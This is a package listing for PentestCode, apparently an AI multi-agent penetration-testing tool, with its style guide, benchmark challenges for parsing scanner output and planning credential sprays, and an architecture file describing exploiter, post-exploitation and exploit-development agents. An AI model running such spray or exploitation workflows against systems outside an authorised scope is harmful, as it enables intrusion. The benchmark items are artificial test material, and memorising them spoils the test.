AIStoreHub Package Vault: Pentestcode
Package Slug: pentestcode
Archetype: multi_agent
Upstream Repository: https://github.com/s0ld13rr/pentestcode
Workspace Files & Specifications (68 files)
- AGENTS.md (8748 bytes)
- To regenerate the legacy JavaScript SDK, run `./packages/sdk/js/script/build.ts`. - After changing the public Protocol or Server `HttpApi`, run `bun run generate` from `packages/client`. Do not edit `src/generated` or `src/generated-effect` directly. - Keep runtime dependencies directed from Schema to Core and Protocol, then from Core and Protocol to Server. Client runtime code may depend on Schema and Protocol but never Core or Server; `sdk-next` composes Client, Core, and Server. - The default branch in this repo is `dev`. - Local `main` ref may not exist; use `dev` or `origin/dev` for diffs. ## Branch Names Use a short branch name of at most three words, separated by hyphens. Do not use slashes or type prefixes such as `feat/` or `fix/`. Examples: `session-recovery`, `fix-scroll-state`, `regenerate-sdk`. ## Commits and PR Titles Use conventional commit-style messages and PR titles: `type(scope): summary`. Valid types are `feat`, `fix`, `docs`, `chore`, `refactor`, and `test`. Scopes are optional; use the affected package or area when helpful, e.g. `core`, `opencode`, `tui`, `app`, `desktop`, `sdk`, or `plugin`. Examples: `fix(tui): simplify thinking toggle styling`, `docs: update contributing guide`, `chore(sdk): regenerate types`. ## Style Guide ### General Principles - Keep things in one function unless composable or reusable - Do not extract single-use helpers preemptively. Inline the logic at the call site unless the helper is reused, hides a genuinely complex boundary, or has a clear independent name that improves the caller. - Avoid `try`/`catch` where possible - Avoid using the `any` type - Use Bun APIs when possible, like `Bun.file()` - Rely on type inference when possible; avoid explicit type annotations or interfaces unless necessary for exports or clarity - Prefer functional array methods (flatMap, filter, map) over for loops; use type guards on filter to maintain type inference downstream - In `src/config`, follow the existing self-export pattern at the top of the file (for example `export * as ConfigAgent from "./agent"`) when adding a new config module. - In Effect generators, bind services to named variables before calling methods. Do not use nested service yields such as `yield* (yield* Foo.Service).bar()`. Reduce total variable count by inlining when a value is only used once. ```ts // Good const journal = await Bun.file(path.join(dir, "journal.json")).json() // Bad const journalPath = path.join(dir, "journal.json") const journal = await Bun.file(journalPath).json() ``` ### Destructuring Avoid unnecessary destructuring. Use dot notation to preserve context. ```ts // Good obj.a obj.b // Bad const { a, b } = obj ``` ### Imports - Never alias imports. Do not use `import { foo as bar } from "..."` or renamed imports like `resolve as pathResolve`. - Never use star imports. Do not use `import * as Foo from "..."` or `import type * as Foo from "..."`. - If a namespace-style value is needed, import the module's own exported namespace by name, for example `import { Project } from "@pentestcode/core/project"`, then reference `Project.ID`. - Prefer dynamic imports for heavy modules that are only needed in selected code paths, especially in startup-sensitive entrypoints. Destructure dynamic import bindings near the top of the narrowest scope that needs them so they read like normal imports. Avoid inline chains such as `await import("./module").then((mod) => mod.value())` or `(await import("./module")).value()`. Keep branch-specific imports inside the branch that needs them to preserve lazy loading. ### Variables Prefer `const` over `let`. Use ternaries or early returns instead of reassignment. ```ts // Good const foo = condition ? 1 : 2 // Bad let foo if (condition) foo = 1 else foo = 2 ``` ### Control Flow Avoid `else` statements. Prefer early returns. ```ts // Good function foo() { if (condition) return 1 return 2 } // Bad function foo() { if (condition) return 1 else return 2 } ``` ### Complex Logic When a function has several validation branches or supporting details, make the main function read as the happy path and move supporting details into small helpers below it. ```ts // Good export function loadThing(input: unknown) { const config = requireConfig(input) const metadata = readMetadata(input) return createThing({ config, metadata }) } function requireConfig(input: unknown) { ... } ``` - Keep helpers close to the code they support, below the main export when that improves readability. - Do not over-abstract simple expressions into many single-use helpers; extract only when it names a real concept like `requireConfig` or `readMetadata`. - Do not return `Effect` from helpers unless they actually perform effectful work. Synchronous parsing, validation, and option building should stay synchronous. - Prefer Effect schema helpers such as `Schema.UnknownFromJsonString` and `Schema.decodeUnknownOption` over manual `JSON.parse` wrapped in `Effect.try` when parsing untrusted JSON strings. - Add comments for non-obvious constraints and surprising behavior, not for obvious assignments or control flow. ### Schema Definitions (Drizzle) Use snake_case for field names so column names don't need to be redefined as strings. ```ts // Good const table = sqliteTable("session", { id: text().primaryKey(), project_id: text().notNull(), created_at: integer().notNull(), }) // Bad const table = sqliteTable("session", { id: text("id").primaryKey(), projectID: text("project_id").notNull(), createdAt: integer("created_at").notNull(), }) ``` ## Testing - Avoid mocks as much as possible, you shouldn't be using globalThis.\* at all unless it's the only option. - Test actual implementation, do not duplicate logic into tests - Tests cannot run from repo root (guard: `do-not-run-tests-from-root`); run from package dirs like `packages/opencode`. ## Type Checking - Always run `bun typecheck` from package directories (e.g., `packages/opencode`), never `tsc` directly. ## V2 Session Core - Keep durable prompt admission separate from model execution. `SessionV2.prompt(...)` admits one durable `session_input` row before scheduling advisory `SessionExecution.wake(sessionID)` unless `resume: false` requests admit-only behavior. The serialized runner promotes admitted inputs into visible user messages at safe boundaries. - Reusing a Session ID adopts the existing Session. Reusing a prompt message ID reconciles an exact retry only when Session, prompt, and delivery mode match; conflicting reuse fails. Historical projected prompts lazily synthesize promoted inbox records during exact retry. - Keep `SessionExecution` process-global and Session-ID based. Its local implementation owns the process-local Session coordinator and discovers placement through `SessionStore` plus `LocationServiceMap.get(session.location)` only when a drain starts; no layer should take a Session ID. V2 interruption targets the active process-local ownership chain for that Session; idle or missing interruption is a no-op. - Keep `SessionRunner`, model resolution, tool registry, permissions, and filesystem Location-scoped. Omitted `Location.workspaceID` means implicit-local placement; explicit workspace identity remains reserved for future placement semantics. - Preserve one explicit `llm.stream(request)` call per provider turn and reload projected history before durable continuation. Do not bridge through legacy `SessionPrompt.loop(...)` or delegate orchestration to an in-memory tool loop. - Keep local Session drains process-local until clustering is implemented. `SessionRunCoordinator` joins explicit same-Session resumes, coalesces prompt wakeups, and allows different Sessions to run concurrently. Advisory wakes drain eligible durable inbox rows only; post-crash continuation recovery requires a separate explicit design before it may retry provider work. A drain has no durable identity or transcript boundary. - Keep delivery vocabulary explicit. Prompts steer by default and promote at the next safe provider-turn boundary while the current drain requires continuation. An explicit `queue` input remains pending until the Session would otherwise become idle; promote one queued input at that boundary, then reevaluate continuation before promoting another. Promoting any new user input resets the selected agent's provider-turn allowance; a batch of steers resets it once. - Keep EventV2 replay owner claims separate from clustered Session execution ownership. - Keep the System Context algebra, registry, and built-ins in `src/system-context`; keep Context Source producers with their observed domains, and keep Session History selection plus Context Epoch persistence Session-owned. - aistorehub.json (513 bytes)
{ "name": "Pentestcode", "slug": "pentestcode", "version": "1.0.0", "type": "multi_agent", "description": "PentestCode - Multi-agent AI penetration testing system with persistent engagement state and automated exploit verification.", "owner": "community", "repository": "catalog", "github_repo_url": "https://github.com/s0ld13rr/pentestcode", "tags": [ "multi-agent", "cybersecurity", "red-team", "security-agent", "pentest" ], "imported_at": "2026-11-21T23:56:25.059Z" } - bench/challenges/001-nmap-parse.json (1967 bytes)
{ "id": "001-nmap-parse", "name": "Parse nmap XML and update engagement state", "category": "parsing", "difficulty": 1, "description": "Agent should parse nmap XML output, add hosts/services to engagement state, and suggest next steps.", "input": { "tool": "nmap_parse", "args": { "input": "<?xml version=\"1.0\"?>\n<nmaprun scanner=\"nmap\" args=\"-sV -sC -oX scan.xml 10.10.10.5\">\n<host><address addr=\"10.10.10.5\" addrtype=\"ipv4\"/><hostnames><hostname name=\"dc01.corp.local\" type=\"PTR\"/></hostnames><ports><port protocol=\"tcp\" portid=\"53\"><state state=\"open\"/><service name=\"domain\" product=\"Simple DNS Plus\"/></port><port protocol=\"tcp\" portid=\"88\"><state state=\"open\"/><service name=\"kerberos-sec\" product=\"Microsoft Windows Kerberos\"/></port><port protocol=\"tcp\" portid=\"135\"><state state=\"open\"/><service name=\"msrpc\" product=\"Microsoft Windows RPC\"/></port><port protocol=\"tcp\" portid=\"139\"><state state=\"open\"/><service name=\"netbios-ssn\" product=\"Microsoft Windows netbios-ssn\"/></port><port protocol=\"tcp\" portid=\"389\"><state state=\"open\"/><service name=\"ldap\" product=\"Microsoft Windows Active Directory LDAP\"/></port><port protocol=\"tcp\" portid=\"445\"><state state=\"open\"/><service name=\"microsoft-ds\" product=\"Windows Server 2019 Standard\"/></port><port protocol=\"tcp\" portid=\"3389\"><state state=\"open\"/><service name=\"ms-wbt-server\" product=\"Microsoft Terminal Services\"/></port></ports><os><osmatch name=\"Windows Server 2019\" accuracy=\"98\"/></os></host>\n</nmaprun>" } }, "expected": { "hosts_found": 1, "services_found": 7, "host_ip": "10.10.10.5", "hostname": "dc01.corp.local", "has_service_53": true, "has_service_445": true, "state_updated": true }, "scoring": { "hosts_correct": 30, "services_correct": 30, "state_updated": 20, "hostname_detected": 10, "os_detected": 10 } } - bench/challenges/002-nuclei-parse.json (1926 bytes)
{ "id": "002-nuclei-parse", "name": "Parse nuclei findings and create vulnerabilities", "category": "parsing", "difficulty": 1, "description": "Agent should parse nuclei JSON lines output and create vulnerability entries with proper severity and evidence.", "input": { "tool": "nuclei_parse", "args": { "input": "{\"template-id\":\"cve-2021-44228-log4j-rce\",\"info\":{\"name\":\"Log4j RCE (CVE-2021-44228)\",\"severity\":\"critical\",\"tags\":[\"cve\",\"rce\",\"log4j\"],\"reference\":[\"https://nvd.nist.gov/vuln/detail/CVE-2021-44228\"]},\"type\":\"http\",\"host\":\"http://10.10.10.20:8080\",\"matched-at\":\"http://10.10.10.20:8080/api/login\",\"ip\":\"10.10.10.20\",\"port\":\"8080\",\"matcher-name\":\"jndi-ldap\",\"matcher-status\":true,\"timestamp\":\"2026-01-15T10:30:00Z\"}\n{\"template-id\":\"CVE-2023-22515\",\"info\":{\"name\":\"Confluence Auth Bypass (CVE-2023-22515)\",\"severity\":\"critical\",\"tags\":[\"cve\",\"auth-bypass\",\"confluence\"],\"reference\":[\"https://nvd.nist.gov/vuln/detail/CVE-2023-22515\"]},\"type\":\"http\",\"host\":\"http://10.10.10.20:8090\",\"matched-at\":\"http://10.10.10.20:8090/server-info.action\",\"ip\":\"10.10.10.20\",\"port\":\"8090\",\"matcher-name\":\"version-check\",\"matcher-status\":true,\"timestamp\":\"2026-01-15T10:32:00Z\"}\n{\"template-id\":\"ssh-weak-algos\",\"info\":{\"name\":\"SSH Weak Key Exchange Algorithms\",\"severity\":\"low\",\"tags\":[\"ssh\",\"misconfig\"]},\"type\":\"network\",\"host\":\"10.10.10.20:22\",\"ip\":\"10.10.10.20\",\"port\":\"22\",\"matcher-status\":true}" } }, "expected": { "findings_count": 3, "critical_count": 2, "low_count": 1, "has_cve_2021_44228": true, "has_cve_2023_22515": true, "state_updated": true }, "scoring": { "findings_parsed": 30, "severity_correct": 25, "cve_ids_extracted": 20, "state_updated": 15, "evidence_populated": 10 } } - bench/challenges/003-cred-spray-plan.json (1809 bytes)
{ "id": "003-cred-spray-plan", "name": "Generate credential spray plan from engagement state", "category": "credential_reuse", "difficulty": 2, "description": "Given an engagement with discovered services and a credential, generate a spray plan covering all eligible targets.", "setup": { "engagement_name": "bench-003", "hosts": { "10.10.10.5": { "services": [ {"port": 445, "service": "microsoft-ds", "protocol": "tcp"}, {"port": 3389, "service": "ms-wbt-server", "protocol": "tcp"}, {"port": 5985, "service": "wsman", "protocol": "tcp"} ] }, "10.10.10.6": { "services": [ {"port": 445, "service": "microsoft-ds", "protocol": "tcp"}, {"port": 22, "service": "ssh", "protocol": "tcp"}, {"port": 3306, "service": "mysql", "protocol": "tcp"} ] }, "10.10.10.7": { "services": [ {"port": 445, "service": "microsoft-ds", "protocol": "tcp"}, {"port": 1433, "service": "ms-sql-s", "protocol": "tcp"} ] } }, "credentials": { "admin_cred": { "username": "CORP\\svc_backup", "value": "P@ssw0rd123!", "cred_type": "password" } } }, "input": { "tool": "cred_spray", "args": { "action": "plan", "credential_id": "admin_cred" } }, "expected": { "target_count_min": 7, "has_netexec_smb_commands": true, "has_rdp_commands": true, "has_winrm_commands": true, "has_ssh_commands": true, "has_mssql_commands": true, "has_mysql_commands": true, "no_duplicate_targets": true }, "scoring": { "targets_generated": 30, "commands_valid": 25, "service_coverage": 25, "dedup_correct": 10, "hash_detection": 10 } } - bench/challenges/004-scope-check.json (1014 bytes)
{ "id": "004-scope-check", "name": "Verify scope enforcement for mixed targets", "category": "scope", "difficulty": 1, "description": "Check that scope enforcement correctly handles CIDR ranges, wildcards, and exclusions.", "setup": { "engagement_name": "bench-004", "scope": { "targets": ["10.10.10.0/24", "*.corp.local", "192.168.1.100"], "excludes": ["10.10.10.1", "*.admin.corp.local"] } }, "test_cases": [ {"target": "10.10.10.50", "expected_in_scope": true}, {"target": "10.10.10.1", "expected_in_scope": false, "reason": "excluded"}, {"target": "10.10.11.5", "expected_in_scope": false, "reason": "not in CIDR"}, {"target": "web.corp.local", "expected_in_scope": true}, {"target": "dc.admin.corp.local", "expected_in_scope": false, "reason": "excluded wildcard"}, {"target": "192.168.1.100", "expected_in_scope": true}, {"target": "192.168.1.101", "expected_in_scope": false} ], "scoring": { "per_case": 14, "total": 100 } } - bench/challenges/005-cme-parse-ad.json (1415 bytes)
{ "id": "005-cme-parse-ad", "name": "Parse CrackMapExec output with AD context", "category": "parsing", "difficulty": 2, "description": "Parse CME output containing host enumeration, valid credentials, and admin access markers. Verify relationships are created.", "input": { "tool": "cme_parse", "args": { "input": "SMB 10.10.10.5 445 DC01 [*] Windows Server 2019 Standard 17763 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)\nSMB 10.10.10.6 445 WEB01 [*] Windows Server 2019 Standard 17763 (name:WEB01) (domain:corp.local) (signing:False) (SMBv1:False)\nSMB 10.10.10.5 445 DC01 [+] corp.local\\svc_backup:P@ssw0rd123!\nSMB 10.10.10.6 445 WEB01 [+] corp.local\\svc_backup:P@ssw0rd123! (Pwn3d!)\nSMB 10.10.10.5 445 DC01 [-] corp.local\\admin:WrongPass\nSMB 10.10.10.7 445 DB01 [+] corp.local\\svc_backup:P@ssw0rd123!" } }, "expected": { "hosts_found": 2, "credentials_found": 1, "admin_access": 1, "failures": 1, "smb_signing_disabled_vuln": true, "relationships_created": true, "state_updated": true }, "scoring": { "hosts_parsed": 20, "creds_parsed": 25, "admin_detected": 20, "signing_vuln": 15, "relationships": 10, "state_updated": 10 } } - bench/verify-claims.ts (6767 bytes)
#!/usr/bin/env bun import * as fs from "node:fs" import * as path from "node:path" interface Challenge { id: string name: string category: string difficulty: number description: string input?: { tool: string; args: Record<string, unknown> } setup?: Record<string, unknown> expected: Record<string, unknown> test_cases?: Array<{ target: string; expected_in_scope: boolean; reason?: string }> scoring: Record<string, number> } interface Result { id: string name: string category: string difficulty: number total_score: number max_score: number pass: boolean checks: Array<{ name: string; passed: boolean; score: number; max: number; detail?: string }> timestamp: string } const CHALLENGES_DIR = path.join(import.meta.dir, "challenges") const RESULTS_DIR = path.join(import.meta.dir, "results") function loadChallenges(): Challenge[] { const files = fs.readdirSync(CHALLENGES_DIR).filter((f) => f.endsWith(".json")).sort() return files.map((f) => JSON.parse(fs.readFileSync(path.join(CHALLENGES_DIR, f), "utf-8")) as Challenge) } function loadResults(): Result[] { if (!fs.existsSync(RESULTS_DIR)) return [] const files = fs.readdirSync(RESULTS_DIR).filter((f) => f.endsWith(".json")).sort() return files.map((f) => JSON.parse(fs.readFileSync(path.join(RESULTS_DIR, f), "utf-8")) as Result) } function verifyToolAvailability(): { available: string[]; missing: string[] } { const toolDir = path.join(import.meta.dir, "..", "packages", "opencode", "src", "tool") const toolFiles = fs.existsSync(toolDir) ? fs.readdirSync(toolDir).filter((f) => f.endsWith(".ts") && !f.endsWith(".test.ts")) : [] const toolIds = new Set<string>() for (const file of toolFiles) { const content = fs.readFileSync(path.join(toolDir, file), "utf-8") const match = /Tool\.define\(\s*"([^"]+)"/.exec(content) if (match) toolIds.add(match[1]!) } const requiredTools = [ "state_query", "state_update", "nmap_parse", "nuclei_parse", "gobuster_parse", "cme_parse", "bloodhound_parse", "scope_check", "phase_control", "report_gen", "task_graph", "cred_spray", "sqlmap_parse", "xss_detect", "jwt_analyze", "tunnel_manage", "pivot_suggest", ] const available = requiredTools.filter((t) => toolIds.has(t)) const missing = requiredTools.filter((t) => !toolIds.has(t)) return { available, missing } } function verifySchemaCoverage(): { fields: string[]; missing: string[] } { const schemaPath = path.join(import.meta.dir, "..", "packages", "core", "src", "engagement", "schema.ts") if (!fs.existsSync(schemaPath)) return { fields: [], missing: ["schema.ts not found"] } const content = fs.readFileSync(schemaPath, "utf-8") const requiredFields = [ "EvidenceItem", "Vulnerability", "Credential", "Access", "Host", "Relationship", "Decision", "Alert", "LiveSession", "NetworkSegment", "reasoning", "source_agent", "attempt_number", "verification_status", ] const found = requiredFields.filter((f) => content.includes(f)) const missing = requiredFields.filter((f) => !content.includes(f)) return { fields: found, missing } } function verifyDecisionInjection(): boolean { const promptPath = path.join(import.meta.dir, "..", "packages", "opencode", "src", "session", "prompt.ts") if (!fs.existsSync(promptPath)) return false const content = fs.readFileSync(promptPath, "utf-8") return content.includes("decision-history") && content.includes("getDecisions") } function main() { console.log("╔══════════════════════════════════════════╗") console.log("║ PentestCode — Verify Claims ║") console.log("╚══════════════════════════════════════════╝") console.log() // 1. Tool availability const tools = verifyToolAvailability() console.log(`[Tools] ${tools.available.length}/${tools.available.length + tools.missing.length} registered`) if (tools.missing.length > 0) { console.log(` Missing: ${tools.missing.join(", ")}`) } for (const t of tools.available) { console.log(` ✓ ${t}`) } console.log() // 2. Schema coverage const schema = verifySchemaCoverage() console.log(`[Schema] ${schema.fields.length}/${schema.fields.length + schema.missing.length} required types/fields present`) if (schema.missing.length > 0) { console.log(` Missing: ${schema.missing.join(", ")}`) } console.log() // 3. Decision injection const decisionInjected = verifyDecisionInjection() console.log(`[Decision Context] ${decisionInjected ? "✓ Injected into prompt" : "✗ NOT injected"}`) console.log() // 4. Challenge inventory const challenges = loadChallenges() console.log(`[Challenges] ${challenges.length} defined`) for (const c of challenges) { console.log(` ${c.id}: ${c.name} (difficulty: ${c.difficulty}, category: ${c.category})`) } console.log() // 5. Results (if any) const results = loadResults() if (results.length > 0) { const passed = results.filter((r) => r.pass) const percentage = ((passed.length / results.length) * 100).toFixed(1) console.log(`[Results] ${passed.length}/${results.length} (${percentage}%) pass@1`) for (const r of results) { const icon = r.pass ? "✓" : "✗" console.log(` ${icon} ${r.id}: ${r.total_score}/${r.max_score} (${r.name})`) } } else { console.log("[Results] No benchmark results yet. Run benchmarks to populate.") } console.log() // 6. Summary const totalChecks = tools.available.length + tools.missing.length + schema.fields.length + schema.missing.length + 1 const passedChecks = tools.available.length + schema.fields.length + (decisionInjected ? 1 : 0) const percentage = ((passedChecks / totalChecks) * 100).toFixed(1) console.log("═══════════════════════════════════════════") console.log(`Overall: ${passedChecks}/${totalChecks} checks passed (${percentage}%)`) if (tools.missing.length === 0 && schema.missing.length === 0 && decisionInjected) { console.log("Status: ✓ All infrastructure claims verified") } else { console.log("Status: ⚠ Some claims not yet verified") if (tools.missing.length > 0) console.log(` → ${tools.missing.length} tools not registered`) if (schema.missing.length > 0) console.log(` → ${schema.missing.length} schema items missing`) if (!decisionInjected) console.log(" → Decision context not injected into prompt") } process.exit(tools.missing.length > 0 || schema.missing.length > 0 || !decisionInjected ? 1 : 0) } main() - bunfig.toml (1024 bytes)
[install] exact = true # Only install newly resolved package versions published at least 3 days ago. minimumReleaseAge = 259200 minimumReleaseAgeExcludes = ["@ai-sdk/amazon-bedrock", "@ai-sdk/anthropic", "@opentui/core", "@opentui/core-darwin-arm64", "@opentui/core-darwin-x64", "@opentui/core-linux-arm64", "@opentui/core-linux-arm64-musl", "@opentui/core-linux-x64", "@opentui/core-linux-x64-musl", "@opentui/core-win32-arm64", "@opentui/core-win32-x64", "@opentui/keymap", "@opentui/solid", "opentui-spinner", "gitlab-ai-provider", "opencode-gitlab-auth", "@ff-labs/fff-node", "@ff-labs/fff-bun", "@ff-labs/fff-bin-darwin-arm64", "@ff-labs/fff-bin-darwin-x64", "@ff-labs/fff-bin-linux-arm64-gnu", "@ff-labs/fff-bin-linux-arm64-musl", "@ff-labs/fff-bin-linux-x64-gnu", "@ff-labs/fff-bin-linux-x64-musl", "@ff-labs/fff-bin-win32-arm64", "@ff-labs/fff-bin-win32-x64", "@pierre/diffs", "@pierre/theming", "app-builder-lib", "dmg-builder", "electron-builder", "electron-publish"] [test] root = "./do-not-run-tests-from-root"
- CLAUDE.md (38634 bytes)
# CLAUDE.md ## What This Is PentestCode — AI pentesting agent, hard fork of [OpenCode](https://github.com/anomalyco/opencode) (dev branch, MIT). OpenCode — coding agent (183k stars). We stripped code-editing focus and rebuilt it for penetration testing. **Stack**: TypeScript, Bun, Effect library, Turbo monorepo. **TUI**: React/Ink (via @opentui). **LLM**: ai-sdk (20+ providers). **DB**: SQLite (drizzle-orm). ## Project Structure ``` opencode-fork/ # Will be renamed to pentestcode ├── packages/ │ ├── core/src/ # Domain logic, tools, sessions │ │ ├── engagement/ # NEW: pentest state (schema, store, context) │ │ ├── session/ # Session management (runner, compaction) │ │ ├── tool/ # Tool registry + built-in tools │ │ ├── system-context/ # Context sources injected into prompts │ │ ├── skill/ # Skill discovery + loading │ │ └── agent.ts # Agent schema, default ID = "pentest" │ ├── opencode/src/ # Main application package │ │ ├── agent/agent.ts # Agent definitions (pentest/recon/scanner/...) │ │ ├── session/prompt/*.txt # System prompts per agent │ │ ├── session/system.ts # Prompt assembly (uses pentest.txt) │ │ ├── session/prompt.ts # Session runner loop │ │ ├── tool/ # Tool implementations (registry.ts is master) │ │ ├── skill/ # Skill discovery paths │ │ └── cli/ # CLI commands (yargs) │ ├── llm/ # LLM client abstraction (ai-sdk) │ ├── tui/ # Terminal UI (React/Ink) │ ├── server/ # HTTP server + SSE events │ ├── schema/ # Shared type definitions │ ├── protocol/ # HTTP API contracts │ ├── plugin/ # Plugin system │ └── client/ # Generated SDK client ├── skills/ │ ├── phases/ # Phase checklists (6 files) │ ├── services/ # Service knowledge packs (9 files) │ └── playbooks/ # Methodology playbooks (4 files) └── ... ``` ## Multi-Agent Architecture | Agent | Type | Description | |-------|------|-------------| | **pentest** | primary (default) | Strategist-coordinator. Plans, spawns subagents, can execute directly. | | **recon** | primary | Reconnaissance (passive/active by user choice). | | **scanner** | subagent | Port/vuln scanning. Spawned for parallel host scanning. | | **enumerator** | subagent | Deep service enumeration (SMB/LDAP/web/etc). | | **exploiter** | subagent | Exploitation of specific vulnerabilities. | | **reporter** | subagent | Report generation from engagement state. No bash. | | **identity** | subagent | AD, LDAP, Kerberos, IAM, NTLM, certificate-based auth attacks. | | **infrastructure** | subagent | Network services, SNMP, IPMI, RDP, SSH, FTP, databases, misconfigs. | | **post_exploit** | subagent | Lateral movement, privesc, persistence, credential harvesting, pivoting. | | **exploit_dev** | subagent | Custom exploits, payload generation, PoC development, bypass techniques. | | **critic** | subagent | Finding validator. Checks false positives, validates evidence. Read-only. | | **webapp** | subagent | Web application specialist. OWASP Top 10, API security, XSS, SQLi, SSRF. | | **reflector** | subagent | Post-engagement reflection. Analyzes outcomes, generates learned skills, records knowledge. Read-only state. | | compaction | hidden | Context compression (inherited from OpenCode). | | title | hidden | Session title generation. | | summary | hidden | Session summary. | Agents defined in: `packages/opencode/src/agent/agent.ts` Prompts in: `packages/opencode/src/session/prompt/*.txt` and `packages/opencode/src/agent/prompt/*.txt` ## Key Files - **Agent loop**: `packages/opencode/src/session/prompt.ts` → `runLoop()` (line ~1081) - **LLM call**: `packages/core/src/session/runner/llm.ts` - **Tool registry**: `packages/opencode/src/tool/registry.ts` (master registry) - **Tool definitions (core)**: `packages/core/src/tool/builtins.ts` - **System prompt assembly**: `packages/opencode/src/session/system.ts` - **Agent definitions**: `packages/opencode/src/agent/agent.ts` - **Engagement schema**: `packages/core/src/engagement/schema.ts` (Effect Schema, State/Host/Vuln/Cred types) - **Engagement store**: `packages/core/src/engagement/store.ts` (global Ref + JSON persistence) - **Engagement context (V2)**: `packages/core/src/engagement/context.ts` (SystemContext source, V2 only) - **Reflection schema**: `packages/core/src/engagement/reflection.ts` (TechniqueOutcome, FPPattern, LearnedTechnique, EngagementReflection) - **Knowledge store**: `packages/core/src/knowledge/store.ts` (global cross-engagement memory, `~/.pentestcode/knowledge/global.json`) - **Knowledge schema**: `packages/core/src/knowledge/schema.ts` (ToolEffectiveness, FPSignature, KnowledgeState) - **Pentest tools**: `packages/opencode/src/tool/state-query.ts`, `state-update.ts`, `nmap-parse.ts`, `nuclei-parse.ts`, `gobuster-parse.ts`, `cme-parse.ts`, `bloodhound-parse.ts`, `cred-spray.ts`, `scope-check.ts`, `phase-control.ts`, `report-gen.ts`, `sqlmap-parse.ts`, `xss-detect.ts`, `jwt-analyze.ts`, `tunnel-manage.ts`, `attack-path-suggest.ts`, `ensure-tools.ts`, `os-hook.ts`, `inject-probe.ts`, `knowledge.ts` - **App runtime (V1)**: `packages/opencode/src/effect/app-runtime.ts` (LayerNode graph) - **Location services (V2)**: `packages/core/src/location-services.ts` (V2 layer graph) - **Config**: `.pentestcode/pentestcode.jsonc` - **Skills**: `skills/` directory, discovered via `**/SKILL.md` glob ## Commands ```bash # Install dependencies bun install # Run (dev mode) bun run dev # Run TUI directly bun run --cwd packages/opencode --conditions=browser src/index.ts # Typecheck bun turbo typecheck ``` ## What Was Done (Phase 1-3) ### Phase 1: Fork & Strip - Removed 12 packages: codemode, desktop, enterprise, storybook, docs, console, slack, stats, web, sdks, infra, artifacts - Removed translated READMEs, SST config, Nix files - Updated package.json: name→pentestcode, description→pentesting - Removed edit/apply-patch/todowrite from core builtins - Removed GitHub Copilot integration from core - 178M → 109M ### Phase 2: Pentest Domain + Wiring - **Agents rewritten**: build/plan/general/explore → pentest/recon/scanner/enumerator/exploiter/reporter - **Default agent**: "pentest" everywhere (was "build") - **Prompts created**: pentest.txt, recon.txt, scanner.txt, enumerator.txt, exploiter.txt, reporter.txt + mode switching prompts - **system.ts**: Always uses pentest.txt (bypasses model-specific coding prompts) - **Engagement state module**: schema.ts (Effect Schema models), store.ts (file persistence), context.ts (SystemContext source) - **19 skill files**: 6 phases, 9 services, 4 playbooks - **Global engagement store**: `~/.pentestcode/engagements/` — NOT per-directory (security work isn't tied to a cwd) - **EngagementStore.node** registered in V1 app-runtime (`app-runtime.ts`) and V2 location-services (`location-services.ts`) - **Engagement context injected** into V1 system prompt (`prompt.ts`) — compact JSON with phase, mode, hosts, vulns - **Auto-load**: session start loads last engagement from `.last` file - **Skills config**: `.pentestcode/pentestcode.jsonc` has `skills.paths: ["./skills"]`. Relative skill paths resolve against the session cwd, each config-dir project root, and the global `~/.pentestcode/skills` home — so bundled skills load regardless of cwd (see `packages/opencode/src/skill/index.ts` `discoverSkills`) ### Phase 3: Pentest Tools (6 tools, 12 files) - **state_query** — query engagement state (11 query types: summary, hosts, vulns, creds, scope, phase, flags, tasks, host, full, engagements) - **state_update** — structured mutations (20+ actions: CRUD for hosts/vulns/credentials/access, phases, modes, scope, flags, notes, attack steps, domain, objectives) - **nmap_parse** — parse nmap XML/greppable output via htmlparser2 SAX, auto-updates engagement state - **nuclei_parse** — parse Nuclei JSON output, auto-create vulns with severity - **gobuster_parse** — parse gobuster/feroxbuster output, classify sensitive files/admin panels/backups - **cme_parse** — parse CrackMapExec/NetExec output, auto-update creds/access/hosts - **bloodhound_parse** — parse SharpHound JSON, populate AD domain model - **cred_spray** — credential reuse planning (plan/suggest spray commands across discovered services) - **scope_check** — CIDR containment, wildcard domain matching, excludes priority - **phase_control** — status/next/set phase management - **report_gen** — markdown/JSON reports with 6 sections (executive_summary, scope, findings, attack_path, credentials, recommendations) - **task_graph** — Pentesting Task Tree (PTT) management - All tools registered in `packages/opencode/src/tool/registry.ts` - Agent permissions configured per-agent in `packages/opencode/src/agent/agent.ts` ## What Was Done (Phase 3 cleanup + Phase 4 partial + Phase 5) ### Phase 3 Cleanup - [x] Deleted stale test files: `code-mode.test.ts`, `code-mode-integration.test.ts`, `apply_patch.test.ts`, `lsp.test.ts` - [x] Cleaned `parameters.test.ts` — removed apply_patch/lsp/todo imports, schemas, and describe blocks - [x] Deleted orphaned snapshot file `__snapshots__/parameters.test.ts.snap` - [x] Verified `@opencode-ai/codemode` dependency already removed - [x] Deleted orphaned description `todowrite.txt` ### Phase 4: Code-Editing Remnant Removal (partial) - [x] Removed `LspTool` from registry init and builtin array (kept `LSP.node` in deps — EditTool depends on LSP.Service) - [x] Deleted `src/tool/lsp.ts` and `src/tool/lsp.txt` (tool file + description) - [x] Cleaned CLI tool rendering (`cmd/run/tool.ts`) — removed ApplyPatchTool, LspTool, TodoWriteTool imports, types, render functions, TOOL_RULES entries (~300 lines) - [x] Kept LSP/Format/Worktree service modules intact (deeply integrated, removal breaks types) ### Phase 5: Flow System - [x] 8 slash commands: `/status`, `/targets`, `/vulns`, `/creds`, `/scope`, `/phase`, `/mode`, `/report` - Template files in `packages/opencode/src/command/template/pentest-*.txt` - Registered as built-in commands in `packages/opencode/src/command/index.ts` - [x] Mode switching — mode directives injected into system prompt per engagement mode (auto/free/guided) - [x] Phase auto-transition hints — `phaseTransitionHint()` in `prompt.ts` suggests next phase based on engagement state - [x] TUI `/status` renamed to `/sysinfo` to avoid conflict with pentest `/status` ## What Was Done (Quality Plan — dapper-percolating-badger.md) ### P1: Skill Auto-Loading - [x] `phase_control.ts` — hints to load phase skill after phase change - [x] `nmap-parse.ts` — suggests relevant service skills after parsing - [x] `pentest.txt` — skill names listed, mapped to phases/services - [x] Subagent prompts — added "Load relevant skills before starting" instructions ### P2: Deepen Subagent Prompts - [x] `critic.txt` — full rewrite (27→80+ lines) with validation methodology, false positive patterns - [x] All subagents deepened with decision trees, failure handling, context management ### P3: State Enforcement Reinforcement - [x] `state-update.txt` — added urgency: "IMMEDIATELY after discovering" - [x] `prompt.ts` engagement context — added inline reminder - [x] `orchestrator-mode.txt` — added state_update mandate ### P4: Tool Parsers - [x] **nuclei_parse** — parse Nuclei JSON output, 